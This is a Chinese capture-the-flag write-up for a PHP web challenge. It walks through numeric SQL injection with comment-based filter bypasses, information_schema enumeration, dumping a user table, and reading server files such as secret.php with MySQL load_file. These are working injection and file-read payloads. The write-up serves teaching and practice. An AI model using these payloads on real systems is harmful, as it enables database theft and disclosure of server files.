Web14使用load_file
1.打开网址
是一长串代码,提示有PHP文件"secret.php",且读取输入的c值,等于3时无break。
2.输入
?c=3,打印here_1s_your_f1ag.php文件,访问它,进入登录界面。
3.可为query赋值
输入1’无回显,输入1’#无回显,判断是数字型注入。
4.SQL注入
在源码中发现information_schema .tables .columns被过滤。
-1/**/union/**/select/**/database()# 得到web库
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web' 得到table_name=content
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_schema='web'/**/and/**/table_name='content' 得到id username password
-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content 得到三条提示
1adminflag is not here!
2gtf1ywow,you can really dance
3Wowtell you a secret,secret has a secret...
说明数据库中没有flag。
5.根据提示
考虑flag在secret.php文件中:
-1/**/union/**/select/**/load_file('/var/www/html/secret.php') 读取文件 得到地址/real_flag_is_here
-1/**/union/**/select/**/load_file('/real_flag_is_here')
得到flag。